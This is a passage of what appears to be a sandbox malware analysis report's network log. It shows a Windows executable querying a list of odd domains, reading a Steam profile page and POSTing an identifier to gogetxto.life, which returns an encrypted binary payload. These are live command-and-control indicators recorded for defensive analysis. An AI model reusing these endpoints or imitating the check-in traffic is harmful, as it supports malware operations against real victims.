Mar 19, 2025 14:01:29.889899015 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:29.889930964 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:29.889947891 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:29.889981031 CET	49719	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:29.890007019 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:29.890036106 CET	49719	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:29.890435934 CET	49719	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:29.983654022 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:29.983695984 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:29.983966112 CET	49719	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:29.983983994 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:29.984035969 CET	49719	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:29.984464884 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:29.984549999 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:29.984570980 CET	49719	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:29.984673977 CET	49719	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:29.984673977 CET	49719	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:29.984693050 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:29.984718084 CET	49719	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:29.984724998 CET	443	49719	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:30.052288055 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:30.052400112 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:30.052831888 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:30.052833080 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:30.052906990 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:30.704785109 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:30.704860926 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:30.707027912 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:30.707046986 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:30.707318068 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:30.709203959 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:30.756333113 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.044150114 CET	57685	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:31.051003933 CET	53	57685	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:31.051139116 CET	57685	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:31.057979107 CET	53	57685	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:31.179167986 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.179235935 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.179245949 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.179275036 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.179296970 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.179299116 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.179347038 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.179353952 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.223450899 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.265579939 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.265625954 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.265675068 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.265676975 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.265706062 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.265729904 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.265798092 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.265842915 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.265913010 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.265937090 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.265948057 CET	49720	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.265954018 CET	443	49720	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.353471041 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.353522062 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.353590965 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.353952885 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:31.353972912 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:31.570774078 CET	57685	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:31.575975895 CET	53	57685	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:31.576071978 CET	57685	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:32.042406082 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.042484999 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.043947935 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.043956995 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.044281960 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.045614004 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.088329077 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.575251102 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.575287104 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.575310946 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.575339079 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.575381994 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.575403929 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.575437069 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.665880919 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.665932894 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.665990114 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.666017056 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.666060925 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.686140060 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.686183929 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.686238050 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.686256886 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.686275959 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.686278105 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.686321020 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.686512947 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.686512947 CET	57686	443	192.168.2.11	23.197.127.21
Mar 19, 2025 14:01:32.686532021 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.686541080 CET	443	57686	23.197.127.21	192.168.2.11
Mar 19, 2025 14:01:32.738838911 CET	57687	443	192.168.2.11	172.67.140.127
Mar 19, 2025 14:01:32.738899946 CET	443	57687	172.67.140.127	192.168.2.11
Mar 19, 2025 14:01:32.738970995 CET	57687	443	192.168.2.11	172.67.140.127
Mar 19, 2025 14:01:32.739836931 CET	57687	443	192.168.2.11	172.67.140.127
Mar 19, 2025 14:01:32.739864111 CET	443	57687	172.67.140.127	192.168.2.11
Mar 19, 2025 14:01:33.298285007 CET	443	57687	172.67.140.127	192.168.2.11
Mar 19, 2025 14:01:33.298367977 CET	57687	443	192.168.2.11	172.67.140.127
Mar 19, 2025 14:01:33.299587011 CET	57687	443	192.168.2.11	172.67.140.127
Mar 19, 2025 14:01:33.299601078 CET	443	57687	172.67.140.127	192.168.2.11
Mar 19, 2025 14:01:33.299932957 CET	443	57687	172.67.140.127	192.168.2.11
Mar 19, 2025 14:01:33.301172018 CET	57687	443	192.168.2.11	172.67.140.127
Mar 19, 2025 14:01:33.301208019 CET	57687	443	192.168.2.11	172.67.140.127
Mar 19, 2025 14:01:33.301254034 CET	443	57687	172.67.140.127	192.168.2.11
Mar 19, 2025 14:01:33.792617083 CET	443	57687	172.67.140.127	192.168.2.11
Mar 19, 2025 14:01:33.792704105 CET	443	57687	172.67.140.127	192.168.2.11
Mar 19, 2025 14:01:33.792823076 CET	57687	443	192.168.2.11	172.67.140.127
Mar 19, 2025 14:01:33.792943001 CET	57687	443	192.168.2.11	172.67.140.127
Mar 19, 2025 14:01:33.792990923 CET	443	57687	172.67.140.127	192.168.2.11
Mar 19, 2025 14:01:33.793026924 CET	57687	443	192.168.2.11	172.67.140.127
Mar 19, 2025 14:01:33.793044090 CET	443	57687	172.67.140.127	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 14:01:11.493616104 CET	59358	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:11.514820099 CET	53	59358	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:11.516706944 CET	61519	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:11.538537979 CET	53	61519	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:11.540612936 CET	64144	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:11.550003052 CET	53	64144	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:11.558085918 CET	60873	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:11.568715096 CET	53	60873	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:11.569911957 CET	57430	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:11.579397917 CET	53	57430	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:11.580472946 CET	51870	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:11.595875025 CET	53	51870	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:11.597019911 CET	59823	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:11.617120028 CET	53	59823	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:11.618288994 CET	55474	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:11.632894993 CET	53	55474	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:11.634061098 CET	54965	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:11.645046949 CET	53	54965	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:11.646286011 CET	56244	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:11.654090881 CET	53	56244	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:13.136821032 CET	63424	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:13.175542116 CET	53	63424	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:24.444680929 CET	50205	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:24.454663992 CET	53	50205	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:31.043634892 CET	53	61840	1.1.1.1	192.168.2.11
Mar 19, 2025 14:01:31.344055891 CET	52634	53	192.168.2.11	1.1.1.1
Mar 19, 2025 14:01:31.352523088 CET	53	52634	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 14:01:11.493616104 CET	192.168.2.11	1.1.1.1	0x794a	Standard query (0)	absoulpushx.life	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.516706944 CET	192.168.2.11	1.1.1.1	0x6159	Standard query (0)	begindecafer.world	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.540612936 CET	192.168.2.11	1.1.1.1	0x3924	Standard query (0)	garagedrootz.top	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.558085918 CET	192.168.2.11	1.1.1.1	0x5a02	Standard query (0)	modelshiverd.icu	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.569911957 CET	192.168.2.11	1.1.1.1	0x1f7b	Standard query (0)	arisechairedd.shop	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.580472946 CET	192.168.2.11	1.1.1.1	0xfa4f	Standard query (0)	catterjur.run	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.597019911 CET	192.168.2.11	1.1.1.1	0xe960	Standard query (0)	orangemyther.live	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.618288994 CET	192.168.2.11	1.1.1.1	0x67a2	Standard query (0)	fostinjec.today	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.634061098 CET	192.168.2.11	1.1.1.1	0x4ad7	Standard query (0)	sterpickced.digital	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.646286011 CET	192.168.2.11	1.1.1.1	0xd6ba	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:13.136821032 CET	192.168.2.11	1.1.1.1	0xf9e2	Standard query (0)	gogetxto.life	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:24.444680929 CET	192.168.2.11	1.1.1.1	0xe44c	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:31.344055891 CET	192.168.2.11	1.1.1.1	0xce16	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 14:01:11.514820099 CET	1.1.1.1	192.168.2.11	0x794a	Name error (3)	absoulpushx.life	none	none	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.538537979 CET	1.1.1.1	192.168.2.11	0x6159	Name error (3)	begindecafer.world	none	none	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.550003052 CET	1.1.1.1	192.168.2.11	0x3924	Name error (3)	garagedrootz.top	none	none	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.568715096 CET	1.1.1.1	192.168.2.11	0x5a02	Name error (3)	modelshiverd.icu	none	none	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.579397917 CET	1.1.1.1	192.168.2.11	0x1f7b	Name error (3)	arisechairedd.shop	none	none	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.595875025 CET	1.1.1.1	192.168.2.11	0xfa4f	Name error (3)	catterjur.run	none	none	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.617120028 CET	1.1.1.1	192.168.2.11	0xe960	Name error (3)	orangemyther.live	none	none	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.632894993 CET	1.1.1.1	192.168.2.11	0x67a2	Name error (3)	fostinjec.today	none	none	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.645046949 CET	1.1.1.1	192.168.2.11	0x4ad7	Name error (3)	sterpickced.digital	none	none	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:11.654090881 CET	1.1.1.1	192.168.2.11	0xd6ba	No error (0)	steamcommunity.com		23.197.127.21	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:13.175542116 CET	1.1.1.1	192.168.2.11	0xf9e2	No error (0)	gogetxto.life		172.67.140.127	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:13.175542116 CET	1.1.1.1	192.168.2.11	0xf9e2	No error (0)	gogetxto.life		104.21.49.27	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:24.454663992 CET	1.1.1.1	192.168.2.11	0xe44c	No error (0)	steamcommunity.com		23.197.127.21	A (IP address)	IN (0x0001)	false
Mar 19, 2025 14:01:31.352523088 CET	1.1.1.1	192.168.2.11	0xce16	No error (0)	steamcommunity.com		23.197.127.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

gogetxto.life

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49698	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:12 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:12 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:12 GMT Content-Length: 36122 Connection: close Set-Cookie: sessionid=f1271d8d596fb658334171c7; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:12 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:13 UTC	10166	IN	Data Raw: 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 73 74 61 74 73 2f 22 3e 0a 09 09 09 09 09 09 53 74 61 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 73 75 70 65 72 6e 61 76 20 73 75 70 65 72 6e 61 76 5f 61 63 74 69 76 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 22 20 64 61 74 61 2d 74 6f 6f 6c 74 69 70 2d 74 79 70 65 3d 22 73 65 6c 65 63 74 6f 72 22 20 64 61 74 61 2d Data Ascii: </a><a class="submenuitem" href="https://store.steampowered.com/stats/">Stats</a></div><a class="menuitem supernav supernav_active" href="https://steamcommunity.com/" data-tooltip-type="selector" data-
2025-03-19 13:01:13 UTC	11546	IN	Data Raw: 54 41 4d 50 26 71 75 6f 74 3b 3a 31 37 34 32 33 38 39 32 37 32 2c 26 71 75 6f 74 3b 49 4e 5f 54 45 4e 46 4f 4f 54 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 49 4e 5f 47 41 4d 45 50 41 44 55 49 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 49 4e 5f 43 48 52 4f 4d 45 4f 53 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 49 4e 5f 4d 4f 42 49 4c 45 5f 57 45 42 56 49 45 57 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 50 4c 41 54 46 4f 52 4d 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 75 6e 6b 6e 6f 77 6e 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 54 4f 52 45 5f 43 44 4e 5f 41 53 53 45 54 53 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 63 6c 6f 75 64 66 6c 61 Data Ascii: TAMP":1742389272,"IN_TENFOOT":false,"IN_GAMEPADUI":false,"IN_CHROMEOS":false,"IN_MOBILE_WEBVIEW":false,"PLATFORM":"unknown","BASE_URL_STORE_CDN_ASSETS":"https:\/\/cdn.cloudfla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49699	172.67.140.127	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:13 UTC	262	OUT	POST /Aosn HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 41 Host: gogetxto.life
2025-03-19 13:01:13 UTC	41	OUT	Data Raw: 75 69 64 3d 61 32 39 64 61 33 35 64 64 30 38 31 30 35 37 36 65 61 35 65 38 62 37 61 39 30 37 37 64 32 65 63 26 63 69 64 3d Data Ascii: uid=a29da35dd0810576ea5e8b7a9077d2ec&cid=
2025-03-19 13:01:14 UTC	775	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:01:13 GMT Content-Type: application/octet-stream Content-Length: 14134 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oQ4ghI6vYtOVeudWaUcBYp7y3ZMWQ%2FCeKQaMXfUvMVoI3QOa8DLHnh1q4NjDGlywFlDeptP%2FenF1ZXEYeOM7snz5Umwnd%2BpB70mmNgNekgnWU2K169dMmzeZAWefnrNf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 922d28415e4628c9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9754&min_rtt=9588&rtt_var=3714&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=939&delivery_rate=304547&cwnd=32&unsent_bytes=0&cid=8d710b5a24b34d09&ts=344&x=0"
2025-03-19 13:01:14 UTC	594	IN	Data Raw: 1b ef aa 88 1c 93 b2 bf 83 1a 42 bd f3 37 c2 68 bf ef a4 e8 ab 78 1f 6b 24 fe 70 86 23 2a 66 e9 95 41 aa a8 ca e0 ab 06 19 35 14 ac d5 00 d0 59 75 7b 5e c6 bd 60 4e 00 45 a8 6b 00 8f bd b8 11 3b 06 e2 dd 35 6d eb e1 3d 58 08 f8 cc e1 14 d9 d4 aa 8f b4 85 2a 39 b3 95 a0 4c 74 c4 0b 17 d4 bd 44 3b 76 5b 60 3c 5d 5e 4d 58 38 4b 57 29 1a dd 3f 36 72 d0 a8 1a 21 07 dd 24 b9 12 f3 a4 54 50 17 2d 4a 0d 6f 35 12 81 eb 76 58 37 24 e0 6b 64 6c 5f 89 b0 ff 69 a4 ab 66 de 38 16 be f5 98 0f c7 e3 a3 9c 49 33 31 0e e3 4b b0 10 2d 21 b7 ba 5b 12 cf 29 49 70 cc d6 2d d2 24 9c 3e 15 95 4b 0f e8 24 35 05 ea 2a 20 c3 39 14 75 7c 9f bf ee 75 3a 0e c2 43 e6 2a 04 42 2c ba 15 ed 75 d5 5e 81 9f 7b fb 62 9c 93 fc 14 7d a1 b0 79 e7 0d 01 45 55 62 0f be 7b ba c1 f1 0f 16 e5 82 e6 Data Ascii: B7hxk$p#fA5Yu{^`NEk;5m=X9LtD;v[`<]^MX8KW)?6r!$TP-Jo5vX7$kdl_if8I31K-![)Ip-$>K$5* 9u\|u:C*B,u^{b}yEUb{
2025-03-19 13:01:14 UTC	1369	IN	Data Raw: 19 6f 18 dc c2 e1 f6 77 70 ae 9d 61 b6 bf 06 27 1e eb d7 ac 63 1c 67 85 81 9e d8 23 8e 96 22 24 35 44 6e e5 35 28 4c a7 4c a4 b7 d0 cd 31 7b bc 25 b4 a1 11 44 d0 b4 55 47 32 b3 fd 71 bf 82 b6 e9 fd a1 bd 84 8b ef 02 a0 86 4f fa 03 6c 68 86 80 4e 84 11 10 b3 30 90 7d 98 53 c9 06 fa e3 a4 c2 f7 27 b7 42 a4 e3 46 49 f5 66 26 6d 7f 63 68 80 5e df 32 a6 7c e3 75 e0 56 65 a6 64 22 5f 7d ea 48 a6 8a c0 b8 81 d4 73 2e 1a ec c3 98 55 52 43 a1 a3 62 07 e7 52 db aa 4f 68 f6 76 35 6d b1 4b b5 69 fd 96 a9 aa 88 ea 73 ae dc d4 6d 21 3b aa a5 23 a1 0d 5c db af 59 83 9e 86 2d 3e 96 88 d9 fe 06 f4 f0 fe 7e d3 02 55 2c bc 15 81 fa da b9 86 a4 fc ed c9 1e ab e3 a8 d9 76 dd 29 9e ec 01 cf 32 bc 05 23 a5 36 90 ee f1 b3 c0 4c d9 74 c1 ec 9b 62 49 f7 9c 5a 35 18 ca dd b6 52 ba Data Ascii: owpa'cg#"$5Dn5(LL1{%DUG2qOlhN0}S'BFIf&mch^2\|uVed"_}Hs.URCbROhv5mKism!;#\Y->~U,v)2#6LtbIZ5R
2025-03-19 13:01:14 UTC	1369	IN	Data Raw: 53 3a f7 92 d0 3f 4b 8f c1 5a 46 bc 54 82 75 c0 fc 56 dd 40 f1 07 27 da 30 31 60 b8 52 c5 c9 98 6e 90 cd 79 94 c6 0c 02 86 b9 36 a9 cb ea 93 69 81 ee e4 a9 8f 0d e5 ea 4e 2b 22 80 08 2e 4b 1f 8c 36 a6 81 35 59 ba 8d 8a 4e b5 02 80 42 6c ec 85 a5 b2 e6 47 95 89 65 df 48 74 c4 1b e1 4b c2 fb 1a c3 2d 6f 7b 4d da 99 83 d8 81 75 9c 5e 2a 06 b8 5f 3d 1b 48 6f 99 ce 0f 5c 36 57 6a e8 22 9b 04 83 7d 4b bb b9 3b 3d f5 5b bd a7 7d c8 00 f2 1d 22 92 02 69 b7 56 32 ff 2f ec b7 96 b1 81 2d f1 65 e6 09 63 a6 47 a5 73 78 c6 62 54 5a 55 71 c6 11 25 1a 4e 4e 54 ce e0 d6 c7 95 4b 15 b0 d7 97 a0 c6 5b b3 1c aa 28 be 51 f6 68 a4 f1 cd 46 89 26 ab 89 67 e3 6c c2 1e 06 9e f0 a2 5d 15 27 5f eb a5 ea 6e f6 28 59 17 ab 92 19 e7 a0 6c a6 e6 10 8d 41 45 57 18 20 06 20 60 c8 98 b5 Data Ascii: S:?KZFTuV@'01`Rny6iN+".K65YNBlGeHtK-o{Mu^*_=Ho\6Wj"}K;=[}"iV2/-ecGsxbTZUq%NNTK[(QhF&gl]'_n(YlAEW `
